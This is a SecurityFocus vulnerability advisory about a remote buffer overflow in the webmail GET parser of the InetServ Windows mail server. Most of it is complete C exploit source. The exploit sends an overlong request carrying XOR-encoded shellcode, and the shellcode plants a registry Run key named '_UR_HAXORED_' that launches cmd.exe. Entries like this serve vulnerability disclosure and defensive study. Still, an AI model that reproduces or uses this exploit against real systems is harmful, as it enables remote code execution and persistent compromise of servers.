source: http://www.securityfocus.com/bid/949/info

InetServ is a freeware mail server for 32 bit Windows systems.

One of the features of this program is webmail, which allows mail to be read from any browser. There is an unchecked buffer in the code that parses the GET requests, and a request of 537 bytes or longer will overwrite the EIP register. This overflow can allow arbitrary code to be run on the machine by a remote attacker.

There are also many other unchecked buffers in the code, each of which could potentially be exploited in this manner.

It should be noted that the webmail interface is an optional feature of A-V Tronics InetServ, and is not enabled by default.

#include "windows.h"
#include "stdio.h"
#include "winsock.h"

#define TARGET_PORT 224
#define TARGET_IP "127.0.0.1"

char aSendBuffer[] =
        "GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAABBBBAAAACCCCAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
        "AAAAAAAAAAAAAAAAAAAAAAAAAAADDDDAAAAEEEEAAAAAAAAAAA" \
        //mov           eax, 0x12ED21FF
        //sub           al, 0xFF
        //rol           eax, 0x018
        //mov           ebx, eax
        "\xB8\xFF\x1F\xED\x12\x2C\xFF\xC1\xC0\x18\x8B\xD8" \
        //              xor     ecx, ecx
        //              mov ecx, 0x46
        //LOOP_TOP:
        //              dec             eax
        //              xor             [eax], 0x80
        //              dec             ecx
        //              jnz             LOOP_TOP (75 F9)
        "\x33\xC9\xB1\x46\x48\x80\x30\x80\x49\x75\xF9" \

        //push  ebx
        "\x53" \

        //mov   eax, 77787748
        //mov   edx, 77777777

        "\xB8\x48\x77\x78\x77" \
        "\xBA\x77\x77\x77\x77" \

        //xor   eax, edx
        //push  eax
        "\x33\xC2\x50" \

        //xor   eax, eax
        //push  eax
        "\x33\xC0\x50" \

        // mov  eax, 0x77659BAe
        // xor  eax, edx
        // push eax
        "\xB8\xAE\x9B\x65\x77\x33\xC2\x50"

        //mov   eax, F7777775
        //xor   eax, edx
        //push  eax
        "\xB8\x75\x77\x77\xF7" \
        "\x33\xC2\x50" \

        //mov   eax, 7734A77Bh
        //xor   eax, edx
        //call  [eax]
        "\xB8\x7B\xA7\x34\x77" \
        "\x33\xC2" \
        "\xFF\x10" \

        //mov   edi, ebx
        //mov   eax, 0x77659A63
        //xor   eax, edx
        //sub   ebx, eax
        //push  ebx
        //push  eax
        //push  1
        //xor   ecx, ecx
        //push  ecx
        //push  eax
        //push  [edi]
        //mov   eax, 0x7734A777
        //xor   eax, edx
        //call  [eax]
        "\x8B\xFB" \
        "\xBA\x77\x77\x77\x77" \
        "\xB8\x63\x9A\x65\x77\x33\xC2" \
        "\x2B\xD8\x53\x50" \
        "\x6A\x01\x33\xC9\x51" \
        "\xB8\x70\x9A\x65\x77" \
        "\x33\xC2\x50" \
        "\xFF\x37\xB8\x77\xA7\x34" \
        "\x77\x33\xC2\xFF\x10" \

        // halt or jump to somewhere harmless
        "\xCC" \
        "AAAAAAAAAAAAAAA" \

        // nop (int 3) 92
        // nop (int 3)
        // jmp
        "\x90\x90\xEB\x80\xEB\xD9\xF9\x77" \
        /* registry key path "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" */
        "\xDC\xD3\xCF\xC6\xD4\xD7\xC1\xD2\xC5\xDC\xCD\xE9\xE3\xF2" \
        "\xEF\xF3\xEF\xE6\xF4\xDC\xD7\xE9\xEE\xE4\xEF\xF7\xF3\xDC\xC3" \
        "\xF5\xF2\xF2\xE5\xEE\xF4\xD6\xE5\xF2\xF3\xE9\xEF\xEE\xDC" \
        "\xD2\xF5\xEE\x80" \
        /* value name "_UR_HAXORED_" */
        "\xDF\xD5\xD2\xDF\xC8\xC1\xD8\xCF\xD2\xC5\xC4\xDF\x80" \
        /* the command "cmd.exe /c" */
        "\xE3\xED\xE4\xAE\xE5\xF8\xE5\xA0\xAF\xE3\x80\x80\x80\x80\x80";

int main(int argc, char* argv[])
{
        WSADATA wsaData;
        SOCKET s;
        SOCKADDR_IN sockaddr;

        sockaddr.sin_family = AF_INET;
        if(3 == argc)
        {
                int port = atoi(argv[2]);
                sockaddr.sin_port = htons(port);
        }
        else
        {
                sockaddr.sin_port = htons(TARGET_PORT);
        }
        if(2 <= argc)
        {
                sockaddr.sin_addr.S_un.S_addr = inet_addr(argv[2]);
        }
        else
        {
                sockaddr.sin_addr.S_un.S_addr = inet_addr(TARGET_IP);
        }

        try
        {
                WSAStartup(MAKEWORD(2,0), &wsaData);
                s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
                if(INVALID_SOCKET == s)
                        throw WSAGetLastError();
                if(SOCKET_ERROR == connect(s, (SOCKADDR *)&sockaddr, sizeof(SOCKADDR)) )
                        throw WSAGetLastError();
                send(s, aSendBuffer, strlen(aSendBuffer), 0);
                closesocket(s);
                WSACleanup();
        }
        catch(int err)
        {
                fprintf(stderr, "error %d\n", err);
        }
        return 0;
}
